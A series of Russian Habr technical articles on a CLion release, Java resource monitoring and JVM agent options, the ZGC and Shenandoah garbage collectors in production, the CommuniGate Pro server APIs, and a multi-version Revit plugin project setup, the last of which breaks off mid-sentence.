и * автодополнение переменных. Мы добавили несколько готовых шаблонов: *foreach*, *function*, *if*, *macro*, *while*, *incboost* (который помогает подключить библиотеки Boost к проекту). Также вы можете создавать свои и использовать их в файлах CMake. Как и для других аналогичных шаблонов, для аббревиатур шаблонов есть автодополнение, а раскрывается шаблон по нажатию клавиши `Tab` (или другой сконфигурированной в настройках): ![](https://jetbrains.com/clion/whatsnew/img/12/cmake_templates.gif) В предыдущих версиях уже присутствовало автодополнение команд CMake, а теперь мы реализовали автодополение переменных (пока только тех, у которых имена статические). Также появилась опция в настройках форматирования, позволяющая использовать всегда только заглавные или всегда только строчные буквы для команд CMake (допустИм и вариант смешенного стиля). Отладчик ======== Главные изменения во встроенном отладчике — это работа над производительностью. Мы внесли много изменений, которые заметно улучшили ситуацию (но нам еще есть, куда стремиться). Таких, например, как “ленивое” создание переменных для GDB. Также было сделано несколько изменений в рендеринге переменных типа references и массивов символов Юникод: ![](https://habrastorage.org/r/w1560/files/80d/2e1/0f1/80d2e10f1c614b138415929a7a7174d5.png) Платформенные изменения ======================= Как и другие IDE на платформе IntelliJ, CLion получил ряд общих улучшений: * Появился quick-fix, который позволяет поменять настроки форматирования, актуальные только для выделенного куска кода. Это работает во всех языках, поддерживаемых в CLion (C++, C, CMake, языки для WEB разработки). * При поиске по пути (Find in Path) в соответствующем диалоге добавлена вкладка предпросмотра, которая отображает первые 100 результатов поиска и существенно облегчает задачу. * При выполнении поиска и замены теперь можно использовать регулярные выражения. * Множество улучшений для разных систем контроля версий (добавился Perforce Shelve, работа с патчами Mercurial Queues, Git операции для бранча собраны теперь в одном меню). * Внешний вид также претерпел изменения, особенно это заметно будет пользователям HiDPI Linux/Windows, и пользователям дефолтной (“белой”) схемы на OS X. И, кстати, версия для OS X теперь по умолчанию собрана с кастомизированной JDK с исправлениями от JetBrains, но при этом в самой IDE можно выбрать любую JDK, установленную в системе. В завершение небольшой деморолик (на английском): Следите за постами в нашем [англоязычном блоге](//blog.jetbrains.com/clion/) и читайте подробнее про возможности новой версии CLion 1.2 [на сайте](http://www.jetbrains.com/clion/whatsnew). Как обычно, есть 30-дневная бесплатная пробная версия, а в [разделе цен](http://www.jetbrains.com/clion/buy/) можно узнать о стоимости по новой модели и варианты лицензирования. Мы рады ответить на любые ваши вопросы в комментариях. *Программируйте с удовольствием! Ваша команда JetBrains CLion*
https://habr.com/ru/post/270185/
null
ru
null
# Как отслеживать использование памяти CPU и загруженность диска в Java В этой статье, мы обсудим некоторые начальные команды, инструменты и методы, которые помогут отслеживать использование памяти CPU и загруженность диска в Java. Java инструменты наблюдают за конструкциями и процессами байткода Java. Профайлеры Java следят за всеми системными командами и использованием процессора. Это позволяет вам вызвать средства в любой момент. Стандартный профайлер предоставляет большой объем знаний, ценность которых зависит от назначения отладки. Некоторые инструменты лучше для объединения логов для всех приложений и серверов, таких как[Stackify Retrace](https://stackify.com/retrace), настраивая и отслеживая автоматический лог запросов. Инструменты:Stackify’s Application Performance Management, Retrace - предлагают Java пользователям лучшее понимание устройства приложения при помощи внедренного логирования и профилирования кода. Вместе с внедренным централизованным и структурированным логированием, можно получить доступ ко всем логам приложения из единой точки для всех приложений и серверов. Здесь мы перечислили способы демонстрации памяти и отслеживания CPU в Java для оптимизации кода.   5 способов для наблюдения за памятью CPU и загруженностью диска в Java! 1. Базовые Linux команды для отслеживания использования памяти CPU и загруженности диска a) ***free –m*** Команда передает доступную и занятую память вашей виртуальной машины. b) ***top*** Эта команда для просмотра использования CPU и памяти. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/84b/f15/d0f/84bf15d0f8c31064b5f323bc7766e1be.png)Когда вы введете 1 на клавиатуре, тогда ***top*** сработает и отобразит все возможные CPU и использование каждого. Всего 4 CPU - CPU0, CPU1, CPU2, CPU3 - и вся их статистика использования. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/c9a/f9a/1fb/c9af9a1fb51a358ca1f21a4a7897b096.png)c) ***meminfo*** и ***cpuinfo*** Используйте следующие команды для детальной информации относительно памяти и процессоров виртуальной машины. ***$cat /proc/cpuinfo*** ***$cat /proc/meminfo*** d)Память CPU и использование диска конкретного процесса. ***$ps -p [pid] -o %cpu,%mem,cmd*** ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/4e3/a6e/22f/4e3a6e22fdf6dd408351f55e4d02eecc.png)Эта команда для отслеживания использования CPU и загруженности памяти методом приложения Java. Также отображает какие команды запустили процесс. e)Это статистика потока Java метода. ***$ps uH –p [pid]*** Эта команда предоставляет число потоков в процессе и их статистику. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/4fb/edf/708/4fbedf70893a39504b754bdfc6f97dc8.png)Это показывает как много памяти и CPU использовано для каждой угрозы и как долго они работают. Когда приложение не отвечает, эти команды могут использоваться для выполнения предыдущих запросов, прежде чем переходить к памяти и дырам в потоках. Это важные команды для первоначального исследования кроме статистики памяти и CPU. *df –k  –>* Для проверки места на диске *lsof -i : –>* Для проверки, является ли данный порт открытым *lsof –i: tcp –>* Все установленные и слушающие TCP подключения *netstat -plunt  –>* Подключение к сети 2. Отслеживание использования памяти Далее рассмотрим класс ManagementFactory для отслеживания использования памяти. Это реализовано путем запроса к MemoryMXBean. Раздел памяти куча необходим для использования MemoryMXBean: ``` MemoryMXBean memoryMXBean = ManagementFactory.getMemoryMXBean(); System.out.println(String.format(“Initial memory: %.2f GB”, (double)memoryMXBean.getHeapMemoryUsage().getInit() /1073741824)); System.out.println(String.format(“Used heap memory: %.2f GB”, (double)memoryMXBean.getHeapMemoryUsage().getUsed() /1073741824)); System.out.println(String.format(“Max heap memory: %.2f GB”, (double)memoryMXBean.getHeapMemoryUsage().getMax() /1073741824)); System.out.println(String.format(“Committed memory: %.2f GB”, (double)memoryMXBean.getHeapMemoryUsage().getCommitted() /1073741824)); ``` Это пример возвращает исходную, используемую, максимальную и переданную память. Здесь идет описание каждой: Исходная: исходный концепт Java приложений из ОС в течение запуска Используемая: память, используемая Java Максимальная: большая часть памяти относится к JVM. OutOfMemoryException возникает, если память заполнена Переданная: объем памяти доступный JVM 3. Нативный агент профилирования (-Agentpath) Некоторые профилируемые java инструменты построены на нативных библиотеках для Windows, Linux или masOS. -Agentpath - это виртуальная машина которая используется для настройки библиотеки инструментов. Например: ***java –agentpath:/usr/profiler/lib/[agent].so  -jar application.jar*** После того как нативная библиотека инструментов спроектирована на удаленном сервере, интерфейс пользователя соединен с удаленным сервером для профилирования. Инструменты такие как JProfiler и Yourkit используют нативные инструменты профилирования. 4. Java агент профилирования (-Javaagent) Агенты профилирования Java оснащены возможностью использования -javaagent виртуальной машины, как альтернатива. Вы можете создать легковесную программу в Java следуя следующим шагам: a) Оснащение программы требует разработки premain() системы   b) Класс программы должен быть спроектирован как Pre-Main в MANIFEST.MF записи в данных JAR, где программа и ее зависимые классы создаются c) JVM начинается с –javaagen ***java -javaagent:agent.jar -jar application.jar*** Класс агент premain() процесса выполняется до main() процесса использования, -javaagent представляет -jar. Если инструменты системы ожидают агент, для расположения после main() системы приложения, следующий шаг получить agentmain() метод в другом агент классе. Это следует сконструировать как Agent-Main класс в MANIFEST.MF записи. 5. Агент библиотека (-Agentlib) -Agentlib - это виртуальная машина, использующаяся для упорядочения локальной библиотеки через JVM проект. Две главные причины по которым следуют использовать: 1) Загрузка HPROF  2) Для контроля JVM в режиме отладки 1) Использование HPROF:  HPROF профилируют кучу и CPU, которые передаются рядом с Java. Это делает язык эффективным. –agentlib:hprof и –Xrunhprof обычно используются как параметры виртуальной машины с HPROF. JVM отслеживает данные относящиеся к профилям кучи, обозначенных концептов, трассировка стека в java.hprof.txt.  ***java agentlib:hprof=heap=sites Hello.java*** HPROF может быть покрыт во время сборки, так разработчик может выявить серьезные проблемы. ***javac -J-agentlib:hprof=heap=sites Hello.java*** 2) Запуск приложения в режиме отладки Запуск приложения в режиме отладки подтверждается частью –agentlib:jdwp виртуальной машины. Это решение размещает внутрипроцессные архивы отладки JVM  ***java -agentlib:jdwp=transport=dt\_socket,address=127.0.0.1:9001, server=y,suspend=y –jar application.jar*** Этот параметр поддерживает отладку в приложении, использующим IDE. ### Простые шаги Используйте команды ограниченно/удаленно для метода отладки в Java. Приложение, которое отслеживает записи на указанном порту не переместится дальше пока шаг (ii) не завершится. Скриншот записи из приложения: *Monitoring for transport dt\_socket at address: 9001* Инициализируйте проект в IDE в режиме отладки и присоедините шифрование к хосту и порту. Отлаживайте код на единственном сервере с IDE.
https://habr.com/ru/post/560984/
null
ru
null
# Опыт использования ZGC и Shenandoah GC в продакшене Как любой адекватный поставщик информационных услуг, мы понимаем, что время отклика системы является очень важным фактором для создания у пользователей положительных впечатлений. Помимо этого, высокая скорость работы позволяет более плотно использовать серверные мощности, а, следовательно, сократить расходы на дата центр. Но, есть одно «но»: наша [CRM — SalesMax](http://mawisoft.com/cms/page/ru/index?referal=habr) — написана на java, а, следовательно, периодически возникают паузы, связанных с работой сборщика мусора. До последнего времени, это было тем неизбежным злом, с которым нужно было просто смириться. И вот, Oracle анонсировали новый сборщик мусора — ZGC. По предварительным анонсам, он должен был решить проблему подвисаний java приложений — заявленные паузы не должны превышать 100 мс даже на многогигабайтных кучах. С нашими 6Гб максимального использования памяти, все, и подавно, должно быть хорошо. Итак, приступим. Добавляем в standalone.conf сервера приложений wildfly строчку ``` JAVA_OPTS="$JAVA_OPTS -XX:+UnlockExperimentalVMOptions -XX:+UseZGC" ``` Запускаем систему, прогоняем нагрузочные тесты. На первый взгляд, все работает как заявлено, паузы на сборку мусора действительно сократились. Не долго думая, было принято решение попробовать новый сборщик мусора на одном из продуктовых серверов. Выбрали наименее загруженный, настроили, запустили, стали наблюдать. Первое время все работало хорошо, в общем-то решили, что эксперимент оказался успешным. И вот, вечер субботы. Мы спокойно играем в бильярд, время за полночь. Звонок от менеджера: у клиента CRM не работает. Проверяем — клиент с того самого сервера. Телефон в руки, открываю Termius, пытаюсь подключиться к серверу по ssh — тишина… Еле-еле, спустя секунд 20, которые в тот момент показались вечностью, но зайти все же удалось. И что же мы видим? Несмотря на установленные в параметрах запуска ограничения -Xmx6144M, процесс java израсходовал всю доступную память. Спустя какое-то время, система и вовсе данный процесс убила. Так что, использование ZGC пришлось отключить. Работа CRM системы сразу пришла в норму. Казалось бы — делать нечего, будем ждать, пока в Oracle все допилят. Но, спустя некоторое время, на глаза [попалась статья](http://clojure-goes-fast.com/blog/shenandoah-in-production/) в которой автор делился положительным опытом использования другого сборщика мусора — Shenandoah, разработчик которого преследовал ровно те же самые цели, а именно: сокращение времени, которое в сборщике мусора занимает фаза «stop the world». Мы решили: почему бы и нет? Найдя страницу, с которой можно скачать предварительно скомпилированный JDK — <https://builds.shipilev.net/>, мы приступили к тестированию: добавляем в standalone.conf новые ключи: ``` JAVA_OPTS="$JAVA_OPTS -XX:+UnlockExperimentalVMOptions -XX:+UseShenandoahGC" ``` На этот раз, тестирование показало, что все, в общем-то, ОК. И паузы на сборку мусора сократились, и, что самое приятное — непредсказуемый рост расхода памяти прекратился. В продакшене все работает просто идеально. Какие можно сделать выводы? Я понимаю, что в Oracle тоже идет развитие, и те сложности, с которыми мы столкнулись в октябре 2019 года, возможно, уже исправлены, и ZGC вскоре можно будет дать второй шанс. Но на данный момент, лично мы остановили свой выбор на Shenandoah GC, и не пожалели.
https://habr.com/ru/post/477692/
null
ru
null
# API сервера унифицированных коммуникаций CommuniGate Pro ![](https://habrastorage.org/getpro/habr/post_images/9cb/d17/576/9cbd17576dd35f604b462ee9b4b73f79.gif) Каждый кто устанавливал новые сложные системы в организациях сталкивался с тем, что разработчики программного обеспечения не предусмотрели их специфической потребности в административном или пользовательском интерфейсе. В случаях с коммуникациями к этому обычно добавляется потребность в дополнительной обработке корреспонденции, звонков и сообщений, как правило, с целью безопасности, контроля сотрудников и сбора статистики. В этой статье мы рассмотрим набор инструментов, которым располагает сервер CommuniGate Pro для * Автоматизации административных задач * Обработки писем и звонков * Подключения сторонних программ и скриптов * Построения HTML интерфейсов * Создания UC клиентов и утилит на различных платформах #### CLI Интерфейс командной строки — стандартный способ управления многими продуктами. Удобен для автоматизации административных задач. Формат и полное описание команд выходит за рамки статьи, но их можно посмотреть в [мануале](http://www.communigate.com/CommunigatePro/russian/CLI.html), приведем лишь несколько примеров: ##### Доступ по poppwd В сервере есть несколько способов доступа к CLI. Одним из самых удобных для ознакомления с командами можно считать модуль PWD. При стандартной конфигурации сервера достаточно набрать в коммандной строке ОС «telnet server.address 8106» (или «telnet server.address 106», в зависимости от ОС и версии). Изначально этот модуль был просто реализацией протокола смены пароля — poppwd: ``` $ telnet localhost 8106 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. 200 mymac.ru CommuniGate Pro PWD Server 6.0.5 ready <1.1381912847@mymac.ru> user postmaster 300 please send the PASS pass ****** 200 login OK, proceed newpass ****** 200 Password updated ``` Но нет никакой причины, чтобы останавливаться на одной текстовой команде: ``` listdomains 200 data follow (mymac.ru) listaccounts mymac.ru 200 data follow { pbx = macnt; postmaster = macnt; user1 = macnt; user2 = macnt; } ``` Слово macnt в этом ответе означает [Multi-mailbox Account](http://www.communigate.com/CommunigatePro/russian/Accounts.html#Create) ##### Доступ по HTTP CLI команды так же можно выполнить отправив простой POST или GET запрос с параметром «command» по адресу server.name:[http port]/CLI/. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/12b/465/34f/12b46534f44598f874239581dc25b0de.png) ##### Бибилиотеки Поскольку для практических задач «голый» текстовый доступ не очень удобен, мы создали [Perl](http://www.communigate.com/CGPerl/) и [Java](http://www.communigate.com/CGJava/) библиотеки для работы с CLI. На нашем сайте есть специальный [раздел](http://communigate.com/ru/main/solutions/scriptrepository.html), где представлены примеры CLI скриптов для решения часто попадающихся задач. Выполнение команд CLI также возможно в протоколе XIMSS (команда «cliExecute») и в CG/PL программе (функция ExecuteCLI()), о чем мы поговорим в соответствующих разделах. #### Почтовые и сигнальные правила Наверное, причисление правил к API можно назвать натяжкой, но в Communigate Pro правила применяются не только для перенаправления писем и звонков между учетными записями и ящиками, но и передают письма сторонним программам (например различным фильтрам), запускают CG/PL программы и даже запускают скрипты в операционной системе — вобщем, активно используются для интеграции как сами по себе, так и в связке с другими API. > Сигналами в Communigate Pro называют специальные объекты, которые применяются в коммуникациях «реального времени» (Real-time). Сигнал — это единица Real-time комуникации. Различные участники(SIP, XMPP клиенты, PBX приложения, ...) пересылают друг другу сигналы для организации, обрыва и обновления статусов диалогов и других действий . ##### Как работают правила Правила разбиты на три уровня — серверные, доменные и уровень учетной записи (аккаунта). На каждом из этих уровней есть отдельные правила для сигналов и для почты. У каждого правила есть имя и приоритет, у сигнальных правил есть еще условие «Когда». Чем выше приоритет — тем раньше, при одинаковых остальных условиях, сработает правило. Условие «Когда» определяет в какой момент сработает правило — на какой секунде обработки сигнала или при возникновении ошибки с определенным кодом (Не отвечает, Занято или другие ошибки): ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/d95/6fd/d5d/d956fdd5d5559b898750421616ad1234.png) ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/2f7/ae9/74e/2f7ae974e9e9c8d5a411f594edf60722.png) Порядок обработки почтовых сообщений: * Применяются все серверные правила * Те письма, которые в результате маршрутизации попали в локальные учетные записи, обрабатываются доменными правилами и правилами в учетных записях следующим образом: + Доменные правила с приоритетом >5 + Правила в учетной записи + Доменные правила с приоритетом <=5 Порядок обработки сигналов: * Применяются серверные сигнальные правила с пустым полем «Когда» (это означает, что они применяются сразу) * Те сигналы, которые в результате маршрутизации попали в локальные учетные записи, обрабатываются оставшимися серверными правилами (поле Когда не пустое), доменными правилами и правилами в учетных записях следующим образом: + Серверные правила с приоритетом >5 + Доменные правила с приоритетом >5 + Правила в учетной записи + Доменные правила с приоритетом <=5 + Серверные правила с приоритетом <=5 ##### Примеры использования Ограничение пересылки в рамках домена: ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/b9f/455/2c2/b9f4552c2c574096994af5f2e6410d7e.png) Все звонки с адресатами вне определенных доменов перенаправляются на заданный адрес: ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/e3e/743/abe/e3e743abe3b4e6644fbe97976681604c.png) #### Helper В Communigate Pro реализован Helper протокол, который позволяет пользоваться внешними по отношению к серверу программами для различных задач. При выполнении определенных условий, например, почтовое правило запускает фильтр для письма, которое обрабатывает или в домене срабатывает внешняя аутентификация, сервер запускает Helper программу. После чего, начинает через стандартный ввод присылать команды Helper протокола и считывает ответы из стандартного вывода. Пример некоторой обобщенной сессии для хелпер протокола (I — ввод в программу, O — вывод): ``` O: * My Helper program started I: 00001 INTF 1 O: 00001 INTF 1 I: 00002 COMMAND parameters O: 00002 OK I: 00003 COMMAND parameters I: 00004 COMMAND parameters O: * processing 00003 will take some time O: 00004 ERROR description O: 00003 OK I: 00005 QUIT O: * processed: 5 requests. Quitting. O: 00005 OK ``` Здесь команда INTF — согласовывает версию протокола, а QUIT заканчивает сессию, \* — это информационное сообщение на которое сервер не реагирует, но записывает в лог. В рамках этого протокола разработаны более специализированные для: * Обработки тела письма * Внешней аутентификация * Подключения баннерной системы * Добавления RADIUS запросов в аутентификацию * Управление распределением нагрузки в кластере Все они подключаются на странице Настройки->Общие->Помощники WebAdmin интерфейса. Все пути к исполняемым файлам отсчитываются от Базовой директории Communigate Pro (директория с пользовательскими данными). ##### Обработка тела письма Обработчики писем запускаются почтовым правилом, например таким: ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/e37/52b/66a/e3752b66abd53123ade16ab31cfc0b6a.png) Детальное описание команд этого и других хелперов можно найти в [мануале](http://communigate.com/communigatepro/russian/Helpers.html#Filters). В статье будем приводить лишь общее описание. Хелперы такого типа используются в основном для подключения к CGPro [анти-вирус и анти-спам движков](http://communigate.com/communigatepro/russian/default.html#Plugins). ##### Внешняя аутентификация Хелпер протокол для внешней аутентификации обычно используются если: * Нужен метод аутентификации не поддерживаемый сервером напрямую * Часть аккаунтов расположена в другой системе (например AD) * Нужен сложный роутинг * Нужно внешнее управление услугами\настройками учетной записи Примеры хелперов этого типа можно найти на [этой странице](http://www.communigate.com/CGAUTH/). ##### Остальные помощники Хелперы баннерной системы предоставляют серверу банеры для XIMSS и других (например HTTP) клиентов. RADIUS хелперы позволяют добавить в процесс аутентификации дополнительные проверки по RADIUS протоколу. Хелперы распределения нагрузки управляют Балансировщиком нагрузки в [кластерной конфигурации](http://habrahabr.ru/company/communigatepro/blog/196660/) Communigate Pro. #### WSSP WSSP (Web Server-side Pages) — это язык для шаблонов Web страниц. Перед тем как говорить о WSSP, нужно замолвить пару слов про организацию Web скинов на сервере. Каждый Web скин состоит из трех видов файлов: * Статические файлы — графика, стили, ... * WSSP файлы * Языковые и строковые файлы Вместе с дистрибутивом Communigate Pro поставляется небольшой набор стандартных (stock) Web интерфейсов. Один из них безымянный (Unnamed), остальные именнованные. Эти демонстрационные скины хранятся в Application папке сервера (папка в ОС, где находится исполняемый файл) и поэтому они заменяются при обновлении сервера. Администраторы **не должны изменять демонстрационные скины** в своих конфигурациях, при установке обновления эти изменения могут потеряться. Вместо этого нужно воспользоваться тем, что файлы скинов образуют иерархию. ##### Иерархия файлов в скинах Каждый скин может быть серверным, доменным или стандартным. При обработке запросов от браузера пользователя серверу обычно нужно достать файлы с определенными именами из скина. При этом если файл не найден в доменном скине, то его ищут в серверном скине с таким же именем. А если не нашли в серверном, то ищут в стоковом. Если же файл по прежнему не найден и текщий скин именованный, то файл ищется в безымянных скинах. Таким образом загружая собственные файлы в безымянный серверный скин, администратор сервера может добиться того, что будут использованы его файлы, а не стандартные. То есть при таком подходе можно как проделывать небольшие изменения в стандартных скинах, так и разрабатывать свои с нуля. ##### Строковые файлы .data файлы содержат текстовые данные (UFT-8) в формате [CG/PL словаря](http://www.communigate.com/CommunigatePro/russian/Data.html#Dictionary) эти данные используются различными модулями сервера для формирования строк в интерфейсе или в качестве значений настроек. Эти файлы также образуют иерархию, но уже на уровне ключей в словаре, то есть если какой-то ключ отсутствует в файле strings.data домена, сервер пытается найтиего в файле strings.data на уровне сервера и т.д. Английский язык является языком по-умолчанию для строк в интерфейсе. Если же язык пользователя (сессии) отличен от английского, значения ключей из языковых файлов (french.data, russian.data) замещают значения из strings.data файла. Такая система позволяет включать в слегка модифицированные интерфейсы (файлы strings.data) включать только те ключи значения которых были изменены (например название компании, фирменные бренды), а не их полный набор. ##### Обработка запросов Когда браузер соединяется с сервером по HTTP протоколу, сервер извлекает имя хоста из запроса и ищет домен с таким именем. Если домен найден, то сервер находит скин выбранный в качестве Web интерфейса по-умолчанию для пользователей этого домена. Запускается страница login.wssp. Файлы wssp состоят из кода разметки (обычно HTML) с некоторыми дополнительными элементами: * текст ограниченный с двух сторон двойным символом % (%%element%%) * структуры такого формата — Пример такого документа: ``` Добро пожаловать на %%server%%. Ваш логин %%ID%%. ================================================= Последний раз вы заходили %%lastLogin%% ``` После обработки сервером все специальные конструкции будут заменены на строки или массивы строк из «окружения» — значения ключей из .data файлов в скине, имя домена или других объектов в сервере, значения настроек. Любые другие файлы просто отдаются клиенту. Базовые демонстрационные web интерфейсы можно рассматривать как отличные иллюстрации возможностей WSSP страниц. Но WSSP довольно ограничены в вопросах преобразования форматов данных или обращения к различным модулям и выполнения каких либо действий на сервере. И тут уже на помощь приходит более мощный инструмент. #### CG/PL Про язык CG/PL и разработку PBX приложений на нем мы уже рассказывали на Хабре в [этой статье](http://habrahabr.ru/company/communigatepro/blog/189854/). Помимо PBX его активно используют при разработке Web интерфейсов Communigate Pro. Если открыть список файлов даже базового Web скина (Пользователи->Интерфейсы), то там будет 14 файлов с небольшими CG/PL программами, обрабатывающими HTTP запросы. Чтобы вызвать CG/PL программу для обработки HTTP запроса, нужно записать ее в любом текстовом редакторе, сохранить как .wcgp и загрузить в какой-либо Web скин. После этого запрос к URL вида: ``` http://domain.name:[port]/programFile.wcgp/?Skin=skin_name ``` Запустит программу на выполнение. ``` http://domain.name:[port]/auth/programFile.wcgp/?Skin=skin_name ``` Запустит на выполнение от имени аккаунта с предварительной аутентификацией ``` http://domain.name:[port]/sys/programFile.wcgp ``` Этот запрос ищет программу только в серверном Unnamed скине и запускает от имени пользователя postmaster (серверный администратор) В качестве примера рассмотрим небольшой скрипт выполняющий CLI команду «listaccounts» и преобразующий результат в JSON формат: ``` entry sysEntry is void(executeCLI("listaccounts mymac.ru")); accountList = Vars().executeCLIResult; SetHTTPResponseCode(200); SetHTTPResponseData(ObjectToJSON(accountList)); end entry; ``` ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/7c3/e46/782/7c3e46782aff7fa594e51d1101030a90.png) #### XIMSS При таком большом количестве функциональности на стороне сервера — голос, мгновенные сообщения (включая СМС), календари, контакты, почта, файловый сервер у провайдеров сервиса возникают определенные сложности с написанием унифицированного клиента. Нужно подобрать или разработать библиотеки реализующие SIP, набор \*DAV протоколов, SMTP, IMAP, XMPP. При этом нагрузка по разбору сообщений и форматов данных из этих протоколов ложится на клиент. Как решение этих проблем мы разработали протокол [XIMSS](http://www.communigate.com/CommunigatePro/XMLAPI.html) — XML Interface to Messaging, Scheduling and Signaling. Все команды этого протокола — простые XML документы с прозрачными по смыслу атрибутами. Например эта простая команда перенаправит (fork) входящий звонок на двух пользователей: ``` C: user1@example.comuser2@example.com S: ``` Все форматы данных (MIME, vCard) приходят XIMSS клиенту в удобном для использования виде. Также этот протокол позволяет выполнять все CLI команды доступные на сервере — через него можно регулировать все виды настроек, включая административные Для ряда платформ нами разработаны готовые [XIMSS библиотеки](http://www.communigate.com/XIMSSClient/Guide/). В качестве примеров возможностей XIMSS клиентов рекомендуем серию приложений Pronto!, Web версии которых (HTML5 и Flash) можно попробовать на нашем стенде [bestvoip.ru](http://www.bestvoip.ru/). #### В заключение Communigate Pro это платформа, поведение которой можно регулировать на разных уровнях. От клиента до доступа в основные коммуникационные модули и разработки собственной функциональности на базе стандартных протоколов. При этом решение стабильно и выдерживает большие нагрузки. Несмотря на то, что входной порог во все Communigate API в совокупности может казаться довольно большим, они покрывают большинство задач стоящих перед администраторами коммуникационных сервисов.
https://habr.com/ru/post/197720/
null
ru
null
# Делаем один проект плагина с компиляцией под разные версии Revit/AutoCAD ![](https://habrastorage.org/r/w1560/webt/u7/vh/xi/u7vhxitqphrjiza_fsmzmoclmha.png) При разработке плагинов для САПР приложений ([в моем случае](https://modplus.org/ru/) это AutoCAD, Revit и Renga) со временем появляется одна проблема – выходят новые версии программ, меняется их API и нужно делать новые версии плагинов. Когда у вас всего один плагин или Вы еще новичок-самоучка в этом деле, то можно просто сделать копию проекта, поменять в нем нужные места и собрать новую версию плагина. Соответственно, последующее внесение изменений в код повлечет за собой многократное увеличение трудозатрат. По мере накопления опыта и знаний Вы найдете несколько способов автоматизации этого процесса. Я прошел этот путь и хочу рассказать Вам к чему я пришел в итоге и насколько это удобно. Для начала рассмотрим способ, который является очевидным и которым я долгое время пользовался ### Ссылки на файлы проекта И чтобы все было просто, наглядно и понятно, я буду все описывать на абстрактном примере разработки плагина. Откроем Visual Studio (у меня версия Community 2019. И да – на русском языке) и создадим новое решение. Назовем его **MySuperPluginForRevit** ![image1](https://blog.modplus.org/images/Blog/Blog24_1.png) Мы будем делать плагин под Revit для версий 2015-2020. Поэтому создам в решении новый проект (Библиотека классов Net Framework) и называем его **MySuperPluginForRevit\_2015** ![image2](https://blog.modplus.org/images/Blog/Blog24_2.png) Нам нужно добавить ссылки на API Revit. Конечно, мы можем добавить ссылки на локальные файлы (нужно будет установить себе все нужные SDK или все версии Revit), но мы пойдем сразу по правильному пути и подключим NuGet-пакет. Вы можете найти не малое количество пакетов, но я буду использовать свои собственные. После подключения пакета жмем правой кнопкой мышки на пункт «*Ссылки*» и выбираем в меню пункт «*Перенести packages.config в PackageReference…*» ![image3](https://blog.modplus.org/images/Blog/Blog24_3.png) Если вдруг на этом месте у вас начнется паника, так как в окне свойств пакета не будет важного пункта «*Копировать локально*», которое нам обязательно нужно установить в значение *false*, то не стоит паниковать – идем в папку с проектом, открываем файл с расширением .csproj в удобном вам редакторе (я использую Notepad++) и находим там запись о нашем пакете. Выглядит она сейчас так: ``` 1.0.0 ``` Добавляем ему свойство *runtime*. Получится вот так: ``` 1.0.0 runtime ``` Теперь при построении проекта файлы из пакета не будут копироваться в выходную папку. Идем дальше – сразу представим, что наш плагин будет использовать что-то из Revit API, что менялось со временем выхода новых версий. Ну или просто нам нужно что-то свое менять в коде в зависимости от версии Revit, под которую мы делаем плагин. Для решения таких различий в коде мы будем использовать символы условной компиляции. Откроем свойства проекта, перейдем на вкладку «*Сборка*» и в поле «*Обозначения условной компиляции*» напишем **R2015**. ![image4](https://blog.modplus.org/images/Blog/Blog24_4.png) Обратите внимание, что символ надо добавить и для конфигурации Debug и для конфигурации Release. Ну и пока мы находимся в окне свойств, то сразу переходим на вкладку «*Приложение*» и в поле «*Пространство имен по умолчанию*» удаляем суффикс **\_2015**, чтобы у нас пространство имен было универсальным и независимым от имени сборки: ![image5](https://blog.modplus.org/images/Blog/Blog24_5.png) В моем случае в конечном продукте плагины всех версий складываются в одну папку, поэтому у меня имена сборок остаются с суффиксом вида **\_20хх**. Но вы можете удалить суффикс и из имени сборки, если предполагается расположение файлов в разных папках. Переходим к коду файла *Class1.cs* и имитируем там некий код с учетом разных версий Revit: ``` namespace MySuperPluginForRevit { using Autodesk.Revit.Attributes; using Autodesk.Revit.DB; using Autodesk.Revit.UI; [Regeneration(RegenerationOption.Manual)] [Transaction(TransactionMode.Manual)] public class Class1 : IExternalCommand { public Result Execute(ExternalCommandData commandData, ref string message, ElementSet elements) { #if R2015 TaskDialog.Show("ModPlus", "Hello Revit 2015"); #elif R2016 TaskDialog.Show("ModPlus", "Hello Revit 2016"); #elif R2017 TaskDialog.Show("ModPlus", "Hello Revit 2017"); #elif R2018 TaskDialog.Show("ModPlus", "Hello Revit 2018"); #elif R2019 TaskDialog.Show("ModPlus", "Hello Revit 2019"); #elif R2020 TaskDialog.Show("ModPlus", "Hello Revit 2020"); #endif return Result.Succeeded; } } } ``` Я сразу учел все версии Revit выше 2015 версии (которые были на момент написания статьи) и сразу учел наличие символов условной компиляции, которые у меня создаются по одинаковому шаблону. Переходим к главной изюминке. Создаем новый проект в нашем решении, только уже для версии плагина под Revit 2016. Повторяем все описанные выше действия, соответственно, заменяя число 2015 на число 2016. Но файл *Class1.cs* из нового проекта удаляем. ![image6](https://blog.modplus.org/images/Blog/Blog24_6.png) Файл с нужным кодом – *Class1.cs* – у нас уже имеется и нам нужно просто вставить на него ссылку в новом проекте. Есть два пути вставки ссылок: 1. **Долгий** – жмем на проекте правой кнопкой мышки, выбираем пункт «*Добавить*» -> «*Существующий элемент*», в открывшемся окне находим нужный файл и вместо варианта «*Добавить*» выбираем вариант «*Добавить как связь*» ![image7](https://blog.modplus.org/images/Blog/Blog24_7.png) 1. **Короткий** – прям в обозревателе решений выбираем нужный файл (или даже файлы. А можно даже целые папки) и перетаскиваем в новый проект с зажатой клавишей Alt. При перетаскивании вы увидите, что при нажатии клавиши Alt курсор на мышке будет меняться с плюсика на стрелочку. **UPD:** Я немного внес смуты в этом параграфе — чтобы переносить несколько файлов следует зажимать **Shift+Alt**! После проведения процедуры у нас появится во втором проекте файл *Class1.cs* с соответствующей иконкой (синяя стрелочка): ![image8](https://blog.modplus.org/images/Blog/Blog24_8.png) При редактировании кода в окне редактора вы также можете выбирать в контексте какого проекта отображать код, что позволит вам видеть редактировать код при разных символах условной компиляции: ![image9](https://blog.modplus.org/images/Blog/Blog24_9.png) По этой схеме создаем все остальные проекты (2017-2020). Лайфхак – если перетаскивать файлы в обозревателе решений не из базового проекта, а из проекта, где они уже вставлены как связь, то можно не зажимать 